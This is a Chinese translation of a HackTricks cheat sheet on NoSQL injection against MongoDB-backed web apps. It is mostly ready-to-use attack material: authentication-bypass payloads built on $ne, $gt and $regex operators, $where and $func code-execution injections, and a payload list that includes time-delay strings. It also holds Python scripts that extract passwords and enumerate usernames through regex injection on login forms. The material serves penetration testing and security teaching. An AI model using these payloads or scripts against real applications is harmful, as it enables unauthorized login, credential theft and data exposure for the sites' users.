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hacktricks/pentesting-web/nosql-injection.md

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NoSQL注入


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支持HackTricks的其他方式：

利用

在PHP中，您可以发送一个数组，将发送的参数从_parameter=foo_更改为_parameter[arrName]=foo._

利用基于添加一个运算符：

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

基本身份验证绕过

使用不等于 ($ne) 或大于 ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

SQL - Mongo

query = { $where: `this.username == '${username}'` }

攻击者可以通过输入类似 admin' || 'a'=='a 的字符串来利用这一点，使查询返回所有通过满足重言（'a'=='a'）条件的文档。这类似于 SQL 注入攻击，其中使用诸如 ' or 1=1-- - 的输入来操纵 SQL 查询。在 MongoDB 中，可以使用诸如 ' || 1==1//、' || 1==1%00 或 admin' || 'a'=='a 的输入来执行类似的注入。

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

提取长度信息

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

提取数据信息

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP任意函数执行

使用MongoLite库的**$func**运算符（默认使用）可能会导致像这份报告中描述的任意函数执行。

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

从不同集合获取信息

可以使用$lookup从不同的集合中获取信息。在下面的示例中，我们从一个名为users的不同集合中读取数据，并获取所有密码与通配符匹配的条目的结果。

注意： 只有在使用aggregate()函数执行搜索时，才能使用$lookup和其他聚合函数，而不能使用更常见的find()或findOne()函数。

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


使用 Trickest 可轻松构建和自动化由全球最先进的社区工具驱动的工作流。
立即获取访问权限：

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}

MongoDB 负载

列表从这里

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

盲注 NoSQL 脚本

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

从POST登录中暴力破解用户名和密码

这是一个简单的脚本，您可以修改，但之前的工具也可以执行此任务。

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

工具

参考资料

从零开始学习AWS黑客技术 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式：


使用Trickest轻松构建和自动化工作流程，由全球最先进的社区工具驱动。
立即获取访问权限：

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}